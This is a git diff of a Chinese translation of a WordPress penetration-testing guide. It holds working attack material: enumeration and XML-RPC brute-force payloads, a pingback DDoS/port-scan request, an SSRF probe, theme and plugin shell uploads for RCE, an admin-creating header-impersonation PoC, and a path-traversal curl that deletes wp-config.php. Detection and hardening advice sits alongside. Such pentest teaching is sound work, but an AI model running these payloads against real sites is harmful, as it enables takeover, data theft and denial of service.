Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-09-08 04:19:42 +00:00
parent 320a83db6a
commit a68f8ecdff

View File

@ -4,49 +4,49 @@
## 基本信息
- **Uploaded** 文件会被存放到: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes 文件可以在 /wp-content/themes/ 找到,** 所以如果你修改主题的某些 php 来获取 RCE你很可能会使用该路径。例如使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件于: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** 文件存放于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE通常会使用该路径。例如使用 **theme twentytwelve** 你可以 **access** **404.php** 文件于: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **另一个有用的 url 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- 在 **wp-config.php**可以找到数据库的 root 密码。
- 默认要检查的登录路径: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- 在 **wp-config.php** 中可以找到数据库的 root 密码。
- 默认可检查的登录路径: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **主要 WordPress 文件**
### **Main WordPress Files**
- `index.php`
- `license.txt` 包含有用的信息,比如安装的 WordPress 版本。
- `wp-activate.php` 用于在设置新的 WordPress 站点时的电子邮件激活流程。
- 登录路径(可能被重命名以隐藏):
- `license.txt` 包含有用的信息,例如已安装的 WordPress 版本。
- `wp-activate.php` 在设置新 WordPress 站点时用于电子邮件激活流程。
- 登录相关文件夹(可能被重命名以隐藏):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` 是一个文件,代表了 WordPress 的一个功能,允许通过 HTTP 作为传输机制和 XML 作为编码机制来传输数据。这种通信方式已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所代。
- `xmlrpc.php` 是一个功能文件,允许通过 HTTP 作为传输机制并以 XML 作为编码机制来传输数据。这种通信方式已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所代。
- `wp-content` 文件夹是存放 plugins 和 themes 的主要目录。
- `wp-content/uploads/`存放所有上传到平台的文件的目录。
- `wp-includes/` 是存放核心文件的目录例如证书、字体、JavaScript 文件和 widgets。
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中WordPress 会生成一个 sitemap XML 文件,包含所有公开文章以及可公开查询的文章类型和分类法。
- `wp-content/uploads/` 是平台上上传所有文件存储的目录。
- `wp-includes/` 是存放核心文件的目录例如证书、字体、JavaScript 文件和 widgets。
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中WordPress 会生成一个包含所有公开文章以及可公开查询的文章类型和分类法的 sitemap XML 文件
**后渗透 (Post exploitation)**
**Post exploitation**
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、authentication keys and salts以及数据库表前缀。该配置文件还可以用于启用 DEBUG 模式,这在故障排查时非常有用。
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,比如数据库名、数据库主机、用户名和密码、认证密钥和盐以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在故障排除时很有用。
### 用户权限
- **Administrator**
- **Editor**: 发布并管理他人和自己的文章
- **Author**: 发布并管理自己的文章
- **Contributor**: 撰写并管理自己的文章但无法发布
- **Subscriber**: 浏览文章并编辑自己的个人资料
- **Contributor**: 撰写并管理自己的文章,但不能发布
- **Subscriber**: 浏览文章并编辑个人资料
## **被动枚举**
## **Passive Enumeration**
### **获取 WordPress 版本**
### **Get WordPress version**
检查是否找到文件 `/license.txt``/readme.html`
检查是否可以找到文件 `/license.txt``/readme.html`
在页面的 **源码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/):
在页面的 **源码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/):
- grep
```bash
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 通用方式提取版本信息
### 通用提取版本信息
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## 主动枚举
### 插件和主题
### Plugins and Themes
你可能无法找到所有可用的插件和主题。为了发现所有它们,你需要 **actively Brute Force a list of Plugins and Themes**(幸好我们有包含这些列表的自动化工具)。
你可能无法发现所有可能的 Plugins 和 Themes。为了发现所有这些你需要 **主动对 Plugins 和 Themes 的列表进行 Brute Force**(希望有自动化工具包含这些列表)。
### 用户
- **ID Brute:** 你可以通过 Brute Forcing users IDs 从 WordPress site 获取有效用户:
- **ID Brute:** 你可以通过对 WordPress 站点的 users IDs 进行 Brute Forcing 来获取有效用户:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
如果响应是 **200****30X**这意味着该 id 是 **有效的**。如果响应是 **400**,则该 id 是 **无效的**。
如果响应是 **200****30X**表示该 id 为 **有效**。如果响应是 **400**,则表示该 id 为 **无效**。
- **wp-json:** 你也可以尝试通过查询来获取关于用户的信息:
- **wp-json:** 你也可以通过查询来获取关于用户的信息:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
另一个可能泄露一些用户信息的 `/wp-json/` 端点是:
另一个可能透露一些用户信息的 `/wp-json/` endpoint 是:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
注意,该 endpoint 仅会暴露曾发表过 post 的用户。**只会提供已启用此功能的用户的信息**。
请注意,该端点仅会公开已发布文章的用户。**仅会提供已启用此功能的用户的信息**。
请注意,**/wp-json/wp/v2/pages** 可能会 leak IP 地址。
另请注意,**/wp-json/wp/v2/pages** 可能会 leak IP 地址。
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,显示的 **消息****不同**,以指示 **用户名是否存在**
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,**消息** 会 **不同**,从而表明该 **用户名是否存在**
### XML-RPC
如果 `xml-rpc.php` 启用,您可以执行 credentials brute-force或利用它对其他资源发起 DoS 攻击。 (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
如果 `xml-rpc.php` 启用,你可以对凭证进行 brute-force或利用它对其他资源发起 DoS 攻击。(You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
要检查它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送以下请求:
要检查它是否启用,访问 _**/xmlrpc.php**_ 并发送以下请求:
**检查**
```html
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似下的内容:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似下的内容:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
如果 credentials 无效200 code response 内应该出现消息 _"Incorrect username or password"_。
如果凭证无效,状态码为 200 的响应中应出现消息 _"用户名或密码不正确"_。
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
使用正确的 credentials 可以 upload a file。在 response 中会显示 path ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
使用正确的凭证可以上传文件。在响应中会出现路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
此外,还有一种使用 **`system.multicall`** 来更快速暴力破解凭据的方法,因为你可以在同一个请求中尝试多个凭据
另外有一种**更快的方法**来对 credentials 进行 brute-force使用 **`system.multicall`**,因为你可以在同一请求中尝试多个 creds
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
**绕过 2FA**
本方法面向程序而非人工,且较为老旧,因此不支持 2FA。 所以,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。注意,你无法执行通过控制台可以完成的所有操作,但你仍可能获得 RCE正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 所解释的。
该方法面向程序而非人工使用,且年代较久,因此不支持 2FA。所以,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA**。注意,你不能执行通过控制台能做的所有操作,但正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 所解释的,你仍可能获得 RCE
**DDoS or port scanning**
**DDoS 或 端口扫描**
如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\
这可以用来让 **成千上万** 个 Wordpress **站点** **访问** 同一 **位置**(从而在该位置造成 **DDoS**),或者你可以用它让 **Wordpress** **扫描** 某些内部 **网络**(你可以指定任意端口)。
这可用于让**数千**个 Wordpress **站点**访问同一个**目标**(从而在该目标造成 **DDoS**),或者你可以用它让 **Wordpress** 去**扫描**某些内部**网络**(你可以指定任意端口)。
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
如果你得到 **faultCode** 的值 **大于** **0**17这意味着 port 是开放的
如果你得到 **faultCode** 的值 **大于** **0** (17),则表示端口已开放
查看上一节中 **`system.multicall`** 的用法,了解如何滥用此方法来引发 DDoS。
查看上一节中 **`system.multicall`** 的用法,学习如何滥用该方法发动 DDoS。
**DDoS**
```html
@ -209,15 +209,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
此文件通常位于 WordPress 站点根目录: **`/wp-cron.php`**\
当此文件被 **访问** 时,会执行一次“**繁重**”的 MySQL **查询**,因此可能被 **attackers** 用来 **cause** 一个 **DoS**。\
此外,默认情况下,`wp-cron.php` 在每次页面加载时都会被调用(任何客户端请求任何 WordPress 页面时),在高流量站点上这可能会导致问题DoS
此文件通常存在于 Wordpress 站点根目录下:**`/wp-cron.php`**\
当此文件被**访问**时,会执行一个“**heavy**”的 MySQL **query**,因此可能被**attackers**用来**cause**一个**DoS**。\
此外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(即客户端请求任何 Wordpress 页面时),在高流量站点上可能导致问题DoS
建议禁用 Wp-Cron 并在主机内创建一个真实的 cronjob以固定间隔执行所需操作避免造成问题)。
建议禁用 Wp-Cron,并在主机上创建一个真实的 cronjob 来定期执行所需操作(以避免产生问题)。
### /wp-json/oembed/1.0/proxy - SSRF
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_WordPress 站点可能会向你发起请求。
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_Worpress site 可能会向你发起请求。
This is the response when it doesn't work:
@ -230,98 +230,97 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
该工具检查是否存在 **methodName: pingback.ping** 以及路径 **/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
该工具检查是否存在 **methodName: pingback.ping** 以及 路径 **/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
## Automatic Tools
## 自动化工具
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## 通过覆写一个位获取访问权限
## 通过翻转一个比特获取访问权限
与其说是真实攻击,不如说是个好玩的实验。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] 中,你可以翻转任意 wordpress 文件的 1 bit。因此你可以翻转文件 `/var/www/html/wp-includes/user.php` 中位置 `5389` 的位,从而将 NOT (`!`) 操作 NOP 掉。
这与其说是真正的攻击,不如说是个好奇的例子。在该 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 个比特。因此你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转,从而把 NOT (`!`) 操作 NOP 掉。
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **面板 RCE**
## **Panel RCE**
**修改所使用主题中的 php需要 admin credentials**
外观 → 主题编辑器 → 404 模板(在右侧)
Appearance → Theme Editor → 404 Template(在右侧)
将内容更改为 php shell
![](<../../images/image (384).png>)
网上搜索如何访问该已更新页面。本例中你需要访问这里: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
互联网上搜索如何访问该已更新的页面。在本例中,您需要访问:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
可以使用:
可以使用:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
以获取会话。
## 插件 RCE
## Plugin RCE
### PHP 插件
### PHP plugin
可能可以将 .php 文件作为插件上传。\
举例创建你的 php 后门,例如:
可能可以将 .php 文件作为 plugin 上传。创建你的 php backdoor例如
![](<../../images/image (183).png>)
然后添加一个新的插件
然后添加一个新的 plugin
![](<../../images/image (722).png>)
上传插件并按 Install Now:
上传 plugin 并按 Install Now
![](<../../images/image (249).png>)
点击 Procced:
点击 Procced
![](<../../images/image (70).png>)
表面上看这可能不会有任何反应,但如果你转到 Media你会看到你的 shell 已上传:
这看起来可能不会有任何反应,但如果你进入 Media你会看到你的 shell 被上传:
![](<../../images/image (462).png>)
访问它,你看到用于执行 reverse shell 的 URL
访问它,你看到用于执行 reverse shell 的 URL
![](<../../images/image (1006).png>)
### 上传并激活恶意插件
### Uploading and activating malicious plugin
此方法涉及安装已知存在漏洞的恶意插件并利用它获取 web shell。该过程通过 WordPress 仪表板按如下方式进行
该方法涉及安装已知存在漏洞的恶意 plugin可被利用以获取 web shell。该过程通过 WordPress 仪表盘执行,如下
1. **插件获取**: 插件从像 Exploit DB 这样的来源获取,例如 [**here**](https://www.exploit-db.com/exploits/36374).
2. **插件安装**:
- 导航到 WordPress 仪表板,然后前往 `Dashboard > Plugins > Upload Plugin`.
- 上传下载的插件的 zip 文件。
3. **插件激活**: 插件成功安装后,必须通过仪表板激活。
4. **利用**:
- 安装并激活插件 "reflex-gallery" 后,可以对其进行利用,因为它已知存在漏洞
- Metasploit framework 提供了该漏洞的利用模块。通过加载相应模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未授权访问。
- 注意,这只是利用 WordPress 站点的众多方法之一。
1. **Plugin Acquisition**: 该 plugin 可从 Exploit DB 等来源获取,例如 [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- 前往 WordPress 仪表盘,然后进入 `Dashboard > Plugins > Upload Plugin`.
- 上传下载的 plugin 的 zip 文件。
3. **Plugin Activation**: 插件安装成功后,必须通过仪表盘激活。
4. **Exploitation**:
- 当安装并激活了 "reflex-gallery" plugin 时,可利用该已知漏洞进行攻击
- Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未授权访问。
- 注意,这只是利用 WordPress 站点的众多方法之一。
内容包含在 WordPress 仪表板中安装并激活插件步骤的示意图。然而,请注意,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,并且仅在合法场景中,例如具有明确许可的 penetration testing
内容包含在 WordPress 仪表盘中安装并激活 plugin 步骤的图示说明。但重要的是要注意:在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。本信息应负责任地使用,仅限于合法场景,例如经过明确许可的 渗透测试
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## 从 XSS 到 RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)**其它 WordPress 的严重漏洞。更多信息见 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). 它为 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 提供支持,并允许:
- _**权限提升:**_ 在 WordPress 中创建用户。
- _**(RCE) 自定义插件(后门)上传:**_ 将你的自定义插件(后门)上传到 WordPress。
- _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件
- _**(RCE) 内置主题编辑:**_ 编辑 WordPress 中的内置主题
- _**(Custom) 自定义利用:**_ 针对第三方 WordPress 插件/主题的自定义利用
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** 或 WordPress 其他严重漏洞。更多信息请参见 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:
- _**Privilege Escalation:**_ 在 WordPress 中创建一个用户。
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 上传你的自定义 plugin (backdoor) 到 WordPress。
- _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置的 plugin
- _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置的 theme
- _**(Custom) Custom Exploits:**_ 为第三方 WordPress plugins/themes 提供自定义 exploit
## 后利用
## Post Exploitation
提取用户名和密码:
```bash
@ -335,25 +334,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### 攻击面
了解 Wordpress 插件如何暴露功能对于发现其功能性漏洞至关重要。你可以在下面的要点中找到插件可能暴露功能的方式,以及[**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) 中的一些易受攻击插件示例
了解 Wordpress 插件如何暴露功能对于发现其功能上的漏洞至关重要。你可以在下面的要点中找到插件可能如何暴露功能,以及一些易受攻击插件的示例,请参阅 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/)。
- **`wp_ajax`**
插件将函数暴露给用户的方法之一是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或认证漏洞。此外,这类函数经常同时将认证和授权的依据放在 wordpress nonce 的存在上,而 **任何在该 Wordpress 实例中已认证的用户都可能拥有该 nonce**(与其角色无关)。
插件将函数暴露给用户的方式之一是通过 AJAX 处理程序。 这些处理程序可能包含逻辑、授权或认证方面的漏洞。此外,这些函数经常会将认证和授权都基于 Wordpress nonce 的存在,而**Wordpress 实例中任何已认证的用户都可能拥有**(与其角色无关)。
以下是可用于在插件中暴露函数的函数:
下面是可以用来在插件中暴露功能的函数:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**使用 `nopriv` 会使该端点对任何用户可访问(甚至未认证的用户)。**
**使用 `nopriv` 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。**
> [!CAUTION]
> 此外,如果函数只是通过 `wp_verify_nonce` 检查用户的授权,这个函数只会检查用户是否已登录,通常不会检查用户的角色。因此低权限用户可能能访问高权限操作。
> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,该函数通常只验证用户是否已登录,并不检查用户的角色。因此低权限用户可能能访问高权限操作。
- **REST API**
也可以通过在 wordpress 中使用 `register_rest_route` 函数注册 REST API 来暴露函数:
也可以通过在 wordpress 中使用 `register_rest_route` 函数注册 REST API 路由来暴露函数:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +362,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
`permission_callback` 是一个回调函数,用于检查给定用户是否有权限调用该 API 方法。
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
**如果使用内置的 `__return_true` 函数,它将简单地跳过用户权限检查。**
- **直接访问 php 文件**
当然Wordpress 使用 PHP插件内的文件可以直接通过 web 访问。因此,如果某个插件暴露了任何仅通过访问该文件即可触发的易受攻击功能,那么任何用户都可以利用它
当然Wordpress 使用 PHP插件内的文件可以直接通过网络访问。因此,如果某个插件暴露了任何仅需访问该文件即可触发的易受攻击功能,就会被任何用户利用
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一些插件为内部集成或 reverse proxies 实现了 “trusted header” 捷径,然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者可以伪造它,并以管理员身份访问有特权的 REST 路由。
一些插件为内部集成或反向代理实现了“trusted header”快捷方式然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未由上游组件以密码学方式与请求绑定,攻击者可以伪造它并以管理员身份访问有特权的 REST 路由。
- Impact: 未经身份验证的权限提升为管理员,攻击者可通过核心 users REST 路由创建新的管理员。
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (强制使用用户 ID 1通常是第一个管理员账号)
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
- 影响:未认证用户可通过 core users REST route 创建新的管理员,从而提权为管理员。
- 示例 header: `X-Wcpay-Platform-Checkout-User: 1`(强制用户 ID 为 1通常是第一个管理员帐号
- 被利用的路由:`POST /wp-json/wp/v2/users`,并提交包含提升后 role 数组。
PoC
```http
@ -391,40 +390,36 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
为什么可行
Why it works
- 该插件将客户端可控的 header 映射为认证状态并跳过能力检查。
- WordPress core 对此路由期望 `create_users` 能力;该插件通过直接从 header 设置当前用户上下文来绕过此检查。
- 插件将客户端可控的头映射到认证状态并跳过权限capability检查。
- WordPress core 对该路由期望 `create_users` capability该插件的绕过通过直接从头设置当前用户上下文来避开它。
Expected success indicators
- HTTP 201响应体为描述新建用户的 JSON。
- 在 `wp-admin/users.php` 中可见一个新管理员用户。
预期成功指标
Detection checklist
- 搜索 `getallheaders()`, `$_SERVER['HTTP_...']`, 或读取自定义 header 来设置用户上下文的第三方 SDK例如 `wp_set_current_user()`, `wp_set_auth_cookie()`)。
- 审查 REST 注册,查找那些对特权回调缺乏健壮 `permission_callback` 检查而转而依赖请求 header 的情况。
- 查找在 REST 处理器中仅通过 header 值作为门控的核心用户管理函数(`wp_insert_user`, `wp_create_user`)的使用。
- 返回 HTTP 201并带有描述所创建用户的 JSON 正文。
- 在 `wp-admin/users.php` 中可见一个新的管理员用户。
检测清单
- 搜索 `getallheaders()``$_SERVER['HTTP_...']`,或读取自定义头以设置用户上下文的第三方 SDK例如 `wp_set_current_user()``wp_set_auth_cookie()`)。
- 审查 REST 注册,查找缺乏健壮 `permission_callback` 检查而转而依赖请求头的特权回调。
- 查找在 REST 处理器中仅通过头值进行门控的核心用户管理函数(`wp_insert_user``wp_create_user`)的使用情况。
加固
- 切勿从客户端可控的头导出认证或授权。
- 如果反向代理必须注入身份信息,应在代理处终止信任并剥离入站副本(例如在边缘处 `unset X-Wcpay-Platform-Checkout-User`),然后传递签名令牌并在服务器端验证它。
Hardening
- 切勿从客户端可控的 header 推导认证或授权。
- 如果反向代理必须注入身份信息,应在代理处结束信任并去除入站副本(例如在边缘使用 `unset X-Wcpay-Platform-Checkout-User`),然后传递签名令牌并在服务器端验证。
- 对于执行特权操作的 REST 路由,要求使用 `current_user_can()` 检查和严格的 `permission_callback`(不要使用 `__return_true`)。
- 优先使用一方认证cookies、application passwords、OAuth不是通过头进行“冒充”。
- 优先使用一方认证cookies、application passwords、OAuth而非通过 header 的“冒充”。
References: see the links at the end of this page for a public case and broader analysis.
### 通过 wp_ajax_nopriv 的未认证任意文件删除 (Litho Theme <= 3.0)
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 主题和插件经常通过 `wp_ajax_``wp_ajax_nopriv_` 钩子暴露 AJAX 处理器。 当使用 **_nopriv_** 变体时 **回调将对未认证访客可达**,因此任何敏感操作必须额外实现:
WordPress 主题和插件经常通过 `wp_ajax_``wp_ajax_nopriv_` 钩子暴露 AJAX 处理器。 当使用 **_nopriv_** 变体时 **回调将可被未认证的访问者调用**,因此任何敏感操作还必须额外实现:
1. 一个 **权限capability检查**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
2. 一个使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证**CSRF nonce**,以及
3. **严格的输入消毒 / 验证**。
1. 一个 **capability check**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
2. 一个 **CSRF nonce**使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证,和
3. **严格的输入净化 / 验证**。
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
Litho multipurpose theme (< 3.1) *Remove Font Family* 功能中遗漏了这三项控制最终发出了以下代码简化
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,28 +438,28 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
片段引入的问题:
该代码片段引入的问题:
* **Unauthenticated access** 已注册 `wp_ajax_nopriv_` hook
* **No nonce / capability check** 任何访客都可以访问该 endpoint
* **No path sanitisation** 用户控制的 `fontfamily` 字符串在未过滤的情况下被拼接到文件系统路径,允许经典的 `../../` 遍历。
* **未认证访问** 已注册 `wp_ajax_nopriv_` 钩子
* **缺少 nonce / 权限 检查** 任何访问者都可以访问该端点
* **未进行路径消毒** 用户控制的 `fontfamily` 字符串未经过滤直接拼接到文件系统路径,从而允许经典的 `../../` 目录遍历。
#### 利用
攻击者可以通过发送单个 HTTP POST 请求删除位于 **uploads 基目录 以下** 的任何文件或目录(通常为 `<wp-root>/wp-content/uploads/`
攻击者可以通过发送一个 HTTP POST 请求删除位于 **上传基目录下** 的任意文件或目录(通常为 `<wp-root>/wp-content/uploads/`
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
因为 `wp-config.php` 位于 *uploads* 之外,在默认安装中,四个 `../` 序列就足够了。删除 `wp-config.php` 会在下次访问时强制 WordPress 进入 *installation wizard*,从而实现完整站点接管(攻击者只需提供新的 DB 配置并创建一个管理员用户)。
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
其他有影响的目标包括 plugin/theme `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### 检测清单
* 任何 `add_action( 'wp_ajax_nopriv_...')` 回调,如果调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 等)。
* 将未经过消毒的用户输入拼接到路径中(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
* 任何 `add_action( 'wp_ajax_nopriv_...')` 回调调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)。
* 将未经过的用户输入拼接到路径中(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
* 缺少 `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`
#### 加固
@ -487,16 +482,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **始终** 将任何对磁盘的写入/删除操作视为需要特权的操作并进行二次检查:
